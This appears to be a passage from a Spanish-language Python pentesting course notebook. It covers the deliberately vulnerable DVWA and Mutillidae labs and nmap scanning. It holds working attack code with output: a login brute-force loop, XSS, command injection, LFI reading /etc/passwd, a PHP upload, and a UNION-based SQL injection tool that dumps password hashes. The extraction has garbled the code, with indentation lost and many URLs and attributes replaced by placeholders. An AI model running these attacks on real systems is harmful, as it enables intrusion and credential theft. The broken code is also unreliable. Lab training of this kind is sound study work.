./[Link]?page=[Link]&username=anonymous
texto: HTTP Parameter Pollution | url:
texto: Poll Question | url: ./[Link]?page=[Link]
texto: Cascading Style Injection | url:
texto: Set Background Color | url: ./[Link]?page=[Link]
texto: JavaScript Object Notation (JSON) Injection | url:
texto: Pen Test Tool Lookup | url: ./[Link]?page=[Link]
texto: A2 - Cross Site Scripting (XSS) | url:
[Link]
texto: Reflected (First Order) | url:
texto: DNS Lookup | url: ./[Link]?page=[Link]
texto: Pen Test Tool Lookup | url: ./[Link]?page=[Link]
texto: Text File Viewer | url: ./[Link]?page=[Link]
texto: User Info | url: ./[Link]?page=[Link]
texto: Set Background Color | url: ./[Link]?page=[Link]
texto: HTML5 Storage | url: ./[Link]?page=[Link]
texto: Capture Data Page | url: ./[Link]?page=[Link]
texto: Persistent (Second Order) | url:
texto: Add to your blog | url: ?page=[Link]
texto: View someone's blog | url: ?page=[Link]
texto: Show Log | url: ?page=[Link]

344
texto: DOM Injection | url:
texto: HTML5 Storage | url: [Link]?page=[Link]
texto: Via "Input" (GET/POST) | url:
texto: Add to your blog | url: ?page=[Link]
texto: View someone's blog | url: ?page=[Link]
texto: Show Log | url: ?page=[Link]
texto: Text File Viewer | url: ?page=[Link]
texto: DNS Lookup | url: ./[Link]?page=[Link]
texto: User Info | url: ?page=[Link]
texto: Missing HTTPOnly Attribute | url: ./[Link]
texto: Set Background Color | url: ./[Link]?page=[Link]
texto: Pen Test Tool Lookup | url: ./[Link]?page=[Link]
texto: Via HTTP Headers | url:
texto: Browser Info | url: ./[Link]?page=[Link]
texto: Show Log | url: ./[Link]?page=[Link]
texto: Site Footer | url: ./[Link]?page=[Link]
texto: Those "BACK" Buttons | url: ./[Link]?page=[Link]
texto: Via Misconfiguration | url:
texto: Missing HTTPOnly Attribute | url: ./[Link]
texto: Against HTML 5 Storage | url:
texto: HTML5 Storage | url: [Link]?page=[Link]
texto: Against JSON | url:
texto: Pen Test Tool Lookup | url: ./[Link]?page=[Link]
texto: Via Cookie Injection | url:
texto: Capture Data Page | url: [Link]?page=[Link]
texto: A3 - Broken Authentication and Session Management | url:
[Link]
texto: Cookies | url: [Link]
texto: Login | url: ?page=[Link]
texto: A4 - Insecure Direct Object References | url:
[Link]
texto: Text File Viewer | url: [Link]?page=[Link]
texto: Source Viewer | url: [Link]?page=[Link]
texto: Credits | url: [Link]?page=[Link]
texto: Cookies | url: [Link]
texto: Arbitrary File Inclusion | url: [Link]?page=[Link]
texto: A5 - Cross Site Request Forgery (CSRF) | url:
[Link]
texto: Add to your blog | url: [Link]?page=[Link]
texto: Register User | url: ./[Link]?page=[Link]
texto: A6 - Security Misconfiguration | url:
[Link]
texto: Directory Browsing | url: [Link]?page=[Link]
texto: GET for POST | url: ./[Link]?page=[Link]
texto: A7 - Insecure Cryptographic Storage | url:
[Link]
texto: User Info | url: [Link]?page=[Link]
texto: HTML5 Storage | url: [Link]?page=[Link]
texto: A8 - Failure to Restrict URL Access | url:
[Link]
texto: "Secret" Administrative Pages | url:
[Link]?page=[Link]
texto: [Link] | url: [Link]

345
texto: A9 - Insufficient Transport Layer Protection | url:
[Link]
texto: Login | url: ?page=[Link]
texto: User Info | url: ?page=[Link]
texto: A10 - Unvalidated Redirects and Forwards | url:
[Link]
texto: Credits | url: ?page=[Link]
texto: Setup/reset the DB (Disabled: Not Admin) | url: #
texto: Others | url: #
texto: OWASP 2007 A3 - Malicious File Execution | url:
[Link]
texto: Text File Viewer | url: ?page=[Link]
texto: Source Viewer | url: ?page=[Link]
texto: OWASP 2007 A6 - Information Leakage and Improper Error Handling | url:
[Link]
texto: Cache Control | url: [Link]
texto: X-Powered-By HTTP Header | url: [Link]
texto: HTML/JavaScript Comments | url: [Link]
texto: Click-Jacking | url: [Link]?page=[Link]
texto: Cross-Site Framing (Third-Party Framing) | url: [Link]
texto: HTML5 Storage | url: [Link]?page=[Link]
texto: Denial of Service | url:
texto: Text File Viewer | url: ?page=[Link]
texto: Show Web Log | url: ?page=[Link]
texto: JavaScript "Security" | url:
texto: Login | url: [Link]?page=[Link]
texto: Add to your blog | url: [Link]?page=[Link]
texto: HTML5 Storage | url: [Link]?page=[Link]
texto: Data Capture Pages | url:
texto: Data Capture | url: [Link]?page=[Link]
texto: View Captured Data | url: [Link]?page=[Link]
texto: Documentation | url: #
texto: Change Log | url: [Link]?page=[Link]
texto: Installation Instructions | url: [Link]?page=[Link]
texto: Installation Instructions: Windows 7 (PDF) | url:
/mutillidae/documentation/[Link]
texto: Listing of Vulnerabilities | url:
[Link]?page=documentation/[Link]
texto: How to Access Mutillidae over Virtual Box "Host Only" Network | url:
[Link]?page=documentation/[Link]
texto: Resources | url: #
texto: Bookmark Site | url:
texto: OWASP Top Ten | url: [Link]
texto: Samurai Web Testing Framework | url: [Link]
texto: Professional Web Application Developer Quality Assurance Pack | url:
[Link]
texto: Latest Version of Mutillidae | url:
[Link]
p-top-10
texto: Google Hacking Database | url: [Link]
texto: | url: [Link]
texto: these Mozilla Add-ons | url:
[Link]

346
texto: @webpwnized | url: [Link]
texto: MutillidaeChannel | url: [Link]
texto: Irongeek | url: [Link]
texto: Latest Version | url:
[Link]
p-top-10
texto: Installation Instructions | url: ./[Link]?page=[Link]
texto: Usage Instructions | url: ./[Link]?page=[Link]
texto: Get rid of those pesky PHP errors | url: ./[Link]?page=[Link]
texto: Change Log | url: ./[Link]?page=[Link]
texto: Notes | url: ./[Link]?page=[Link]
texto: | url: [Link]
texto: | url: [Link]
texto: | url: [Link]
texto: | url: [Link]
texto: | url: [Link]
texto: | url: [Link]
texto: Mutillidae | url:
[Link]
p-top-10
texto: Irongeek's Site | url: [Link]

ejemplo 2 - listar formularios e inputs (con comentarios)


In [125]:
import requests
from bs4 import BeautifulSoup

# página con formulario (por ejemplo, login de dvwa)


url = "[Link]

# hacemos la petición http


response = [Link](url)

# parsear el html a soup


soup = BeautifulSoup([Link], "[Link]")

# buscamos todos los formularios con el método find_all() y guardamos en form el


resultado
forms = soup.find_all("form")

# recorremos cada formulario encontrado


for form in forms:
# obtenemos atributos del formulario
action = [Link]("action")
method = [Link]("method", "get")

print(f"formulario encontrado -> action: {action}, method: {method}")

# buscamos los input dentro del formulario


for input_tag in form.find_all("input"):
name = input_tag.get("name")

347
itype = input_tag.get("type")

print(f" input -> name: {name}, type: {itype}")

print("")

formulario encontrado -> action: [Link], method: post


input -> name: username, type: text
input -> name: password, type: password
input -> name: Login, type: submit

ejemplo 3 - leer una tabla html (mutillidae tiene muchas)


Esta es la base del scraping de logs internos, reportes y datos útiles de sitios web.

In [126]:
import requests
from bs4 import BeautifulSoup

# página que contiene una tabla (mutillidae tiene varias)


url = "[Link]

# hacemos la petición http


response = [Link](url)

# parsear el html
soup = BeautifulSoup([Link], "[Link]")

# buscamos la primera tabla en la pagina con función find()


table = [Link]("table")

# recorremos las filas de la tabla


for row in table.find_all("tr"):
# obtenemos celdas (td o th)
columns = row.find_all(["td", "th"])

# convertimos el contenido en texto limpio


values = [c.get_text(strip=True) for c in columns]

print(values)

['Mutillidae: Born to be Hacked', 'Mutillidae: Born to be Hacked']


['Mutillidae: Born to be Hacked']
['Version: 2.1.19Not Logged In']
['HomeLogin/RegisterToggle HintsToggle SecurityReset DBView LogView Captured Data',
'Home', 'Login/Register', 'Toggle Hints', 'Toggle Security', 'Reset DB', 'View Log',
'View Captured Data']
['Home', 'Login/Register', 'Toggle Hints', 'Toggle Security', 'Reset DB', 'View Log',
'View Captured Data']

348
['Core ControlsHomeLogin/RegisterToggle SecuritySetup/Reset the DBShow LogCreditsOWASP
Top 10A1 - InjectionSQLi - Extract DataUser InfoSQLi - Bypass AuthenticationLoginSQLi -
Insert InjectionRegisterBlind SQL via TimingLoginUser InfoSQLMAP Practice TargetView
Someones BlogUser InfoHTML Injection (HTMLi)Add to your blogHTMLi via HTTP HeadersSite
FooterHTTP Response Splitting (Hint: Difficult)HTMLi Via DOM InjectionHTML5
StorageHTMLi Via Cookie InjectionCapture Data PageCommand InjectionDNS LookupJavaScript
InjectionThose "Back" ButtonsPassword GeneratorHTTP Parameter PollutionPoll
QuestionCascading Style InjectionSet Background ColorJavaScript Object Notation (JSON)
InjectionPen Test Tool LookupA2 - Cross Site Scripting (XSS)Reflected (First Order)DNS
LookupPen Test Tool LookupText File ViewerUser InfoSet Background ColorHTML5
StorageCapture Data PagePersistent (Second Order)Add to your blogView someone\'s
blogShow LogDOM InjectionHTML5 StorageVia "Input" (GET/POST)Add to your blogView
someone\'s blogShow LogText File ViewerDNS LookupUser InfoMissing HTTPOnly AttributeSet
Background ColorPen Test Tool LookupVia HTTP HeadersBrowser InfoShow LogSite
FooterThose "BACK" ButtonsVia MisconfigurationMissing HTTPOnly AttributeAgainst HTML 5
StorageHTML5 StorageAgainst JSONPen Test Tool LookupVia Cookie InjectionCapture Data
PageA3 - Broken Authentication and Session ManagementCookiesLoginA4 - Insecure Direct
Object ReferencesText File ViewerSource ViewerCreditsCookiesArbitrary File InclusionA5
- Cross Site Request Forgery (CSRF)Add to your blogRegister UserA6 - Security
MisconfigurationDirectory BrowsingGET for POSTA7 - Insecure Cryptographic StorageUser
InfoHTML5 StorageA8 - Failure to Restrict URL Access"Secret" Administrative
PagesRobots.txtA9 - Insufficient Transport Layer ProtectionLoginUser InfoA10 -
Unvalidated Redirects and ForwardsCreditsSetup/reset the DB (Disabled: Not
Admin)OthersOWASP 2007 A3 - Malicious File ExecutionText File ViewerSource ViewerOWASP
2007 A6 - Information Leakage and Improper Error HandlingCache ControlX-Powered-By HTTP
HeaderHTML/JavaScript CommentsClick-JackingCross-Site Framing (Third-Party
Framing)HTML5 StorageDenial of ServiceText File ViewerShow Web LogJavaScript
"Security"LoginAdd to your blogHTML5 StorageData Capture PagesData CaptureView Captured
DataDocumentationChange LogInstallation InstructionsInstallation Instructions: Windows
7 (PDF)Listing of VulnerabilitiesHow to Access Mutillidae over Virtual Box "Host Only"
NetworkResourcesBookmark SiteOWASP Top TenSamurai Web Testing FrameworkProfessional Web
Application Developer Quality Assurance PackLatest Version of MutillidaeGoogle Hacking
DatabaseSite hacked...err...quality-tested with Samurai WTF, Backtrack, Firefox,
Burp-Suite, Netcat, andthese Mozilla Add-ons@webpwnizedMutillidaeChannelDeveloped by
Adrian "Irongeek" Crenshaw and Jeremy Druin', "Warning: include([Link])
[[Link]]: failed to open stream: No such file or directory
in/var/www/mutillidae/[Link] line469Warning: include() [[Link]]: Failed
opening '[Link]' for inclusion (include_path='.:/usr/share/php:/usr/share/pear')
in/var/www/mutillidae/[Link] line469"]

DVWA desde Python


DVWA (Damn Vulnerable Web Application) es una aplicación web diseñada específicamente para practicar
ciberseguridad de manera segura. No es un sistema real, es un laboratorio lleno de vulnerabilidades
intencionales, perfecto para entrenar y estudiar cómo fallan las aplicaciones web y cómo un atacante podría
interactuar con ellas.

349
Python, por otro lado, es una herramienta versátil que permite automatizar interacciones con aplicaciones
web, enviar formularios, analizar respuestas, probar contraseñas, detectar errores de SQL, inspeccionar
formularios y rutas internas, y mucho más.

Cuando juntas DVWA + Python, obtienes un entorno ideal para aprender.

Login DVWA desde Python

Autenticación en DVWA con requests (con recuperación de token o cookie)

In [131]:
import requests
base_url = "[Link]
session = [Link]()

# payload sin token, porque tu dvwa no lo usa


payload = {
"username": "admin",
"password": "password",
"Login": "Login"
}

# enviamos el login post


r = [Link](base_url + "/[Link]", data=payload)

# verificamos si había login correcto


if "Login failed" in [Link] or "incorrect" in [Link]:
print("login incorrecto")
else:
print("login exitoso")

print("\ncookies activas:")
for c in [Link]:
print(f"{[Link]}: {[Link]}")

login exitoso

cookies activas:
PHPSESSID: 450b16d9287d3fa2c1d18eac346c2c90
security: high

Código para probar 5 passwords en el login de dvwa (Brute


Force HTTP)
In [134]:
import requests

# url del login de dvwa


base_url = "[Link]

350
# lista de passwords a probar
passwords = [
"123456",
"admin",
"password",
"qwerty",
"seba123"
]

username = "admin"

for pwd in passwords:


# se crea una nueva sesión por cada intento
session = [Link]()

# payload del login


data = {
"username": username,
"password": pwd,
"Login": "Login"
}

# se envía la petición post al login


response = [Link](base_url, data=data)

print("probando password:", pwd)

# dvwa siempre muestra "Login failed" cuando es incorrecto


if "Login failed" not in [Link]:
print("password correcta encontrada:", pwd)
print("cookies activas:", [Link].get_dict())
break
else:
print("password incorrecta")

probando password: 123456


password incorrecta
probando password: admin
password incorrecta
probando password: password
password correcta encontrada: password
cookies activas: {'PHPSESSID': 'e4d326bb86b17c86a9ae4561ce46bef4', 'security': 'high'}

Acceder a una página interna después del login


In [135]:
import requests

# primero se hace login


login_url = "[Link]
internal_url = "[Link]

351
session = [Link]()

data = {
"username": "admin",
"password": "password",
"Login": "Login"
}

# se realiza el login
[Link](login_url, data=data)

# se accede a una página interna usando la misma sesión


response = [Link](internal_url)

# si dvwa muestra su panel interno, significa que la sesión es válida


print([Link][:500])

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"


"[Link]

<html xmlns="[Link]

​ <head>
​ ​ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

​ ​ <title>Damn Vulnerable Web App (DVWA) v1.0.7 :: Welcome</title>

​ ​ <link rel="stylesheet" type="text/css" href="dvwa/css/[Link]" />

​ ​ <link rel="icon" type="\image/ico" href="[Link]" />

​ ​ <script type="text/javascript" src="dvwa/js/dvwaP

XSS Reflected (GET con parámetro vulnerable)


In [156]:
import requests

# se crea una sesión http persistente


session = [Link]()

# headers tipo navegador


[Link]({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
})

# cookies necesarias para dvwa low security


[Link]("security", "low")

# login
login_data = {
"username": "admin",

352
"password": "password",
"Login": "Login"
}

[Link]("[Link] data=login_data)

# url vulnerable a xss reflected


url = "[Link]

payload = "<script>alert('x')</script>"

r = [Link](url + payload)

# debug: ver parte del html real


print([Link][:600]) # aqui podras confirmar si dvwa SI reflejo lo mismo que en
navegador

# detección correcta
if payload in [Link]:
print("xss detectado correctamente")
else:
print("xss no detectado")

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"


"[Link]

<html xmlns="[Link]

​ <head>
​ ​ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

​ ​ <title>Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected


Cross Site Scripting (XSS)</title>

​ ​ <link rel="stylesheet" type="text/css" href="../../dvwa/css/[Link]" />

​ ​ <link rel="icon" type="\image/ico" href="../../[Link]" />

​ ​ <script type="text/javascript" src="../../dvwa/js/[Link]"></script>

​ </head>

​ <bod
xss detectado correctamente

SQL injection by Error


In [177]:
# prueba de sql injection en dvwa
url = "[Link]

# payload clásico que genera error sql

353
payload = "'"

# submit requerido por dvwa


full_url = url + payload + "&Submit=Submit"

response = [Link](full_url)

# patrones reales de mysql en dvwa


errores = [
"You have an error in your SQL syntax",
"mysql_fetch_array",
"Warning"
]

# detección real
if any([Link]() in [Link]() for e in errores):
print("[*] SQLi detectado correctamente")
else:
print("SQLi no detectado")

[*] SQLi detectado correctamente

Command Injection
In [181]:
import requests
from bs4 import BeautifulSoup

session = [Link]()
[Link]({"User-Agent": "Mozilla/5.0"})
[Link]("security", "low")

# login
[Link]("[Link] data={
"username": "admin",
"password": "password",
"Login": "Login"
})

# envía el comando
url = "[Link]
data = {
"ip": "[Link]; id", # comando id tiene resultado de uid= o gid=
"submit": "submit"
}

r = [Link](url, data=data)

soup = BeautifulSoup([Link], "[Link]")

# buscar todos los <pre> (dvwa suele poner la salida en <pre>)


pre_tags = soup.find_all("pre")

354
if "uid=" in [Link] or "gid=" in [Link] : # filtro de salida response si tiene
resultado de id
print("[+] Vulnerable a Command Injection ")
if pre_tags:
print("=== salida del comando ===")
print(pre_tags[-1].get_text())
else:
print("no se encontró salida")

[+] Vulnerable a Command Injection


=== salida del comando ===
PING [Link] ([Link]) 56(84) bytes of data.
64 bytes from [Link]: icmp_seq=1 ttl=64 time=0.011 ms
64 bytes from [Link]: icmp_seq=2 ttl=64 time=0.027 ms
64 bytes from [Link]: icmp_seq=3 ttl=64 time=0.020 ms

--- [Link] ping statistics ---


3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.011/0.019/0.027/0.007 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Local File Inclusion - LFI


In [173]:
url = "[Link]

payloads = [
"../../../../../etc/passwd",
"../../../etc/passwd",
"../../etc/passwd",
]

lfi_ok = False

for p in payloads:
r = [Link](url + p)
## print([Link][:300]) # debug
if "root:x:" in [Link]:
print("[+] lfi detectado con:", p)
print([Link][:300])
lfi_ok = True
break

if not lfi_ok:
print("lfi no detectado")

[+] lfi detectado con: ../../../../../etc/passwd


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh

355
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin

Arbitrary File Upload


In [182]:
import requests

session = [Link]()
[Link]({"User-Agent": "Mozilla/5.0"})
[Link]("security", "low")

# login
[Link]("[Link] data={
"username": "admin",
"password": "password",
"Login": "Login"
})

url = "[Link]

# archivo malicioso php


files = {
"uploaded": ("[Link]", "<?php echo 'PWNED'; ?>")
}

# nombre real del boton


data = {
"Upload": "Upload"
}

r = [Link](url, files=files, data=data)

print("---- respuesta ----")


#print([Link]) # debug

if "uploaded" in [Link]() or "[Link]" in [Link]():


print("[*]upload inseguro detectado")
else:
print("upload no vulnerable o falla de dvwa ")

---- respuesta ----


[*] Upload inseguro detectado

Comprobar upload arbitrario:

In [183]:
r = [Link]("[Link]
print([Link])

PWNED

356
Mini SQLMAP - UNION-BASED
Este módulo lo que hará es detectar cuántas columnas necesita el UNION SELECT, luego confirmar la
inyección vía echo y extraer, versión de MySQL, base de datos actual, tablas de information_schema,
columnas, datos, todo aplicable directamente a DVWA.

Imagina esto para comenzar, es de noche, la casa está en silencio, la pantalla ilumina lo justo y al lado tuyo
hay un café tibio, ese que huele a vamos a romper algo… pero con estilo... Luego, Te sientas, abres DVWA,
y empieza el ritual del SQL Injection, un ritual antiguo, casi poético, como si uno estuviera conversando con
la base de datos sin que ella se diera cuenta.

Detectar columnas
Tomas el primer sorbo del café... en este juego, el servidor es como un mozo desconfiado, solo responde si
le hablas con el número correcto de vocablos. Así que pruebas:

1 UNION SELECT 1-- - Nada. Otra vez un sorbo.

Luego:

1 UNION SELECT 1,2-- - La página cambia. La base de datos respondió.

Ese momento es como cuando el café está perfecto...simplemente lo sabes... Acabas de descubrir que la
tabla habla con dos columnas. El servidor se abrió apenas un poquito.

In [280]:
import requests
import re

def detect_column_count(url, param, session, max_cols=10):


print("[*] Detectando número de columnas...")

for i in range(1, max_cols+1):


payload = f"-1' UNION SELECT " + ",".join(["NULL"] * i) + "-- -"
params = { param: payload, "Submit": "Submit" }

r = [Link](url, params=params)
txt = [Link]()

# si DVWA acepta la consulta, muestra First name y Surname


if "first name:" in txt and "surname:" in txt:
print(f"[+] Columnas detectadas: {i}")
return i

print("[-] No se detectaron columnas")


return None

357
Lo probamos:

In [297]:
session = [Link]()
[Link]("security", "low")

[Link]("[Link] data={
"username": "admin",
"password": "password",
"Login": "Login"
})

url = "[Link]
param = "id"

cols = detect_column_count(url, param, session)


print("\nRESULTADO FINAL: "+ str(cols))

[*] Detectando número de columnas...


[+] Columnas detectadas: 2

RESULTADO FINAL: 2

Detectar columna imprimible


El segundo paso es más íntimo, como una conversación...en DVWA, una columna se imprime… y la otra no.
Así que haces una trampita:

●​ 1 UNION SELECT 'AQUI',2-- -


●​ 1 UNION SELECT 1,'AQUI'-- -

y de pronto… aparece un AQUÍ, como una linterna en la noche... esa columna, la que brilló, esa es tu
micrófono abierto. Este será un canal directo al corazón de MySQL.

In [282]:
def detect_printable_column(url, param, session, columns):
print("[*] Detectando columna imprimible...")

for i in range(columns):
marker = f"XYZCOL{i}"

# construimos NULL,NULL,... pero en la posición i ponemos el marker


payload_cols = []
for c in range(columns):
payload_cols.append(f"'{marker}'" if c == i else "NULL")

payload = f"-1' UNION SELECT {','.join(payload_cols)}-- -"


params = { param: payload, "Submit": "Submit" }

r = [Link](url, params=params)

358
txt = [Link]

if [Link]() in [Link]():
print(f"[+] La columna imprimible es la columna #{i+1}")
return i

print("[-] No se encontró columna imprimible")


return None

Lo probamos:

In [299]:
printable = detect_printable_column(url, param, session, cols)
print("\nCOLUMNA IMPRIMIBLE->Index:" + str(printable))

[*] Detectando columna imprimible...


[+] La columna imprimible es la columna #1

COLUMNA IMPRIMIBLE->Index:0

función que extrae lo que DVWA imprime dentro de < pre >, y devuelve solo el First name.

In [300]:
import re

def extract_value_from_pre(html):
match = [Link](r"<pre>(.*?)</pre>", html, re.S | re.I)
if not match:
return None

contenido = [Link](1)

# Ejemplo dentro del <pre>


# First name: 5.0.51a-3ubuntu5
m2 = [Link](r"First name:\s*([^\n<]+)", contenido)
if m2:
return [Link](1).strip()

return None

Extraer versión
Ahora que sabes cuál columna habla, sueltas un mensaje disfrazado @@version es como pedirle el nombre
a alguien simple y directo.

La página te responde: 5.0.51a-3ubuntu5

Y tú piensas.. Bien, viejo amigo. Ahora sé quién eres.

In [301]:

359
def extract_version(url, param, session, columns, printable_idx):
print("[*] Extrayendo VERSION...")

payload_cols = []
for i in range(columns):
if i == printable_idx:
payload_cols.append("@@version")
else:
payload_cols.append("2")

payload = f"-1' UNION SELECT {','.join(payload_cols)}-- -"


params = { param: payload, "Submit": "Submit" }

r = [Link](url, params=params)

version = extract_value_from_pre([Link])
if version:
print("[+] VERSIÓN encontrada:", version)
return version

print("[-] No se detectó la versión")


return None

La probamos:

In [302]:
version = extract_version(url, param, session, cols, printable)
print("\n--- VERSIÓN ---\n", version)

[*] Extrayendo VERSION...


[+] VERSIÓN encontrada: 5.0.51a-3ubuntu5

--- VERSIÓN ---


5.0.51a-3ubuntu5

Extraer database
Otro sorbo... en este punto ya no preguntas, exiges con database() y MySQL, dócil, abre un poco más la
puerta y dice dvwa

In [259]:
def extract_database(url, param, session, columns, printable_idx):
print("\n[*] Extrayendo BASE DE DATOS...")

payload_cols = []
for i in range(columns):
if i == printable_idx:
payload_cols.append("database()")
else:
payload_cols.append("2")

payload = f"-1' UNION SELECT {','.join(payload_cols)}-- -"

360
params = { param: payload, "Submit": "Submit" }

r = [Link](url, params=params)

db = extract_value_from_pre([Link])
if db:
print("[+] BASE DE DATOS encontrada:", db)
return db

print("[-] No se detectó la base de datos")


return None

lo probamos:

In [286]:
version = extract_database(url, param, session, cols, printable)
print("\n--- VERSIÓN ---\n", version)

[*] Extrayendo BASE DE DATOS...


[+] BASE DE DATOS encontrada: dvwa

--- VERSIÓN ---


dvwa

Extraer tablas
Aquí ya estás entusiasmado, golpeando la mesa suavecito... ahora apuntas hacia information_schema, esa
biblioteca enorme donde MySQL guarda su autobiografía. Usas la bala mágica de group_concat(table_name)
y ves la lista de retorno con [guestbook , users] , ya sientes que estás en lo correcto.... La tabla users te
coquetea desde la distancia.

In [260]:
def extract_tables(url, param, session, columns, printable_idx, dbname):
print("\n[*] Extrayendo TABLAS...")

payload_cols = []
for i in range(columns):
if i == printable_idx:
payload_cols.append(
f"(SELECT group_concat(table_name) FROM information_schema.tables WHERE
table_schema='{dbname}')"
)
else:
payload_cols.append("2")

payload = f"-1' UNION SELECT {','.join(payload_cols)}-- -"


params = { param: payload, "Submit": "Submit" }

r = [Link](url, params=params)

tables = extract_value_from_pre([Link])

361
if tables:
lista = [Link](",")
print("[+] TABLAS encontradas:", lista)
return lista

print("[-] No se detectaron tablas")


return None

lo probamos:

In [288]:
version = extract_tables(url, param, session, cols, printable,"dvwa")
print("\n--- VERSIÓN ---\n", version)

[*] Extrayendo TABLAS...


[+] TABLAS encontradas: ['guestbook', 'users']

--- VERSIÓN ---


['guestbook', 'users']

Extraer columnas
Ahora sí. Este es el momento detectivesco usamos group_concat(column_name) sobre users y aparecen
una a una las columnas:

●​ user_id
●​ first_name
●​ last_name
●​ user
●​ password
●​ avatar

Ese instante es como cuando pruebas con un café nuevo y dices... Con esto sí que trabajo toda la noche.

In [291]:
def extract_columns(url, param, session, columns, printable_idx, table):
print(f"\n[*] Extrayendo COLUMNAS de {table}...")

payload_cols = []
for i in range(columns):
if i == printable_idx:
payload_cols.append(
f"(SELECT group_concat(column_name) FROM information_schema.columns
WHERE table_name='{table}')"
)
else:
payload_cols.append("2")

payload = f"-1' UNION SELECT {','.join(payload_cols)}-- -"


params = { param: payload, "Submit": "Submit" }

362
r = [Link](url, params=params)

cols = extract_value_from_pre([Link])
if cols:
lista = [Link](",")
print("[+] COLUMNAS encontradas:", lista)
return lista

print("[-] No se detectaron columnas")


return None

lo probamos:

In [292]:
version = extract_columns(url, param, session, cols, printable,"users")
print("\n--- VERSIÓN ---\n", version)

[*] Extrayendo COLUMNAS de users...


[+] COLUMNAS encontradas: ['user_id', 'first_name', 'last_name', 'user', 'password',
'avatar']

--- VERSIÓN ---


['user_id', 'first_name', 'last_name', 'user', 'password', 'avatar']

Extraer usuarios
El final, La guinda de la torta, lo que todo aprendiz de Jedi hacker recuerda para siempre... armas la fórmula:
group_concat(user, 0x3a, password)

Y aparecen:

●​ admin:5f4dcc3b5aa765d61d8327deb882cf99
●​ gordonb:e99a18c428cb38d5f260853678922e03
●​ 1337:8d3533d75ae2c3966d7e0d4fcc69216b
●​ pablo:0d107d09f5bbe40cade3de5c71e9e9b7
●​ smithy:5f4dcc3b5aa765d61d8327deb882cf99

Te quedas mirando la pantalla unos segundos.... el café ya está frío y en silencio dices:

Así se hace un SQL Injection… y así se entiende realmente....

In [293]:
def extract_users(url, param, session, columns, printable_idx):
print("\n[*] Extrayendo USUARIOS...")

payload_cols = []
for i in range(columns):
if i == printable_idx:
payload_cols.append(

363
"(SELECT group_concat(user, 0x3a, password) FROM users)"
)
else:
payload_cols.append("2")

payload = f"-1' UNION SELECT {','.join(payload_cols)}-- -"


params = { param: payload, "Submit": "Submit" }

r = [Link](url, params=params)

data = extract_value_from_pre([Link])
if data:
lista = [Link](",")
print("[+] USUARIOS encontrados:")
for u in lista:
print(" -", u)
return lista

print("[-] No se detectaron usuarios")


return None

lo probamos:

In [294]:
version = extract_users(url, param, session, cols, printable)
print("\n--- VERSIÓN ---\n", version)

[*] Extrayendo USUARIOS...


[+] USUARIOS encontrados:
- admin:5f4dcc3b5aa765d61d8327deb882cf99
- gordonb:e99a18c428cb38d5f260853678922e03
- 1337:8d3533d75ae2c3966d7e0d4fcc69216b
- pablo:0d107d09f5bbe40cade3de5c71e9e9b7
- smithy:5f4dcc3b5aa765d61d8327deb882cf99

--- VERSIÓN ---


['admin:5f4dcc3b5aa765d61d8327deb882cf99', 'gordonb:e99a18c428cb38d5f260853678922e03',
'1337:8d3533d75ae2c3966d7e0d4fcc69216b', 'pablo:0d107d09f5bbe40cade3de5c71e9e9b7',
'smithy:5f4dcc3b5aa765d61d8327deb882cf99']

Nmap lib
Cuando alguien empieza en hacking, tarde o temprano llega a este punto donde necesitas ver el mapa.
Porque la red... igual que una ciudad... no se recorre a ciegas. Cada máquina es un edificio, cada puerto es
una puerta y cada servicio es alguien que te abre… o que te cierra el paso. Si no sabes qué existe, no sabes
qué atacar, qué proteger o qué ignorar.

Nmap no es solo un escáner de puertos.... es un cartógrafo digital, dibuja la topografía de hosts, servicios,
versiones, sistemas operativos y cualquier detalle que las máquinas de una red revelen sin darse cuenta.

364
Para seguridad ofensiva y defensiva, es casi un lenguaje universal:

●​ Si eres atacante, te muestra la superficie expuesta.


●​ Si eres defensor, te revela lo que creías oculto.
●​ Si eres curioso, simplemente abre las puertas del cómo funciona de verdad la red.

link: [Link]

In [4]:
#instalacion
!pip install python-nmap

Requirement already satisfied: python-nmap in


c:\users\starh\anaconda3\lib\site-packages (0.7.1)

In [22]:
import nmap
scanner = [Link](nmap_search_path=[r"C:\Program Files (x86)\Nmap\[Link]"])
# versión nmap instalado en windows
print(scanner.nmap_version())

(7, 98)

Escaneo rápido de puertos comunes


Realiza un escaneo rápido usando -F, que revisa solo los puertos más comunes (los top ports). Es ideal para
tener una visión rápida del estado del host sin perder tiempo en un escaneo completo.

In [21]:
import nmap

scanner = [Link](nmap_search_path=[ r"C:\Program Files (x86)\Nmap\[Link]"])


# para windows
#scanner = [Link]() # descomentar para linux
ip = "[Link]"

print("[*] Escaneo rápido de puertos comunes")

# se usa -F para un escaneo rápido de puertos más frecuentes


[Link](ip, arguments="-F")

for host in scanner.all_hosts():


print(f"\nhost: {host}")

# se revisan todos los protocolos encontrados (tcp, udp)


for proto in scanner[host].all_protocols():

# se obtienen los puertos detectados por nmap


ports = scanner[host][proto].keys()

for port in ports:

365
state = scanner[host][proto][port]['state']
print(f" - {proto} {port}: {state}")

[*] Escaneo rápido de puertos comunes

host: [Link]
- tcp 21: open
- tcp 22: open
- tcp 23: open
- tcp 25: open
- tcp 53: open
- tcp 80: open
- tcp 111: open
- tcp 139: open
- tcp 445: open
- tcp 513: open
- tcp 514: open
- tcp 2049: open
- tcp 2121: open
- tcp 3306: open
- tcp 5432: open
- tcp 5900: open
- tcp 6000: open
- tcp 8009: open

Escaneo de puertos del 1 al 1000


Escanea de forma secuencial todos los puertos desde el 1 hasta el 1000. Esto permite ver qué servicios
están abiertos en los puertos más usados por aplicaciones reales.

In [16]:
import nmap

scanner = [Link](nmap_search_path=[ r"C:\Program Files (x86)\Nmap\[Link]"])


# para windows
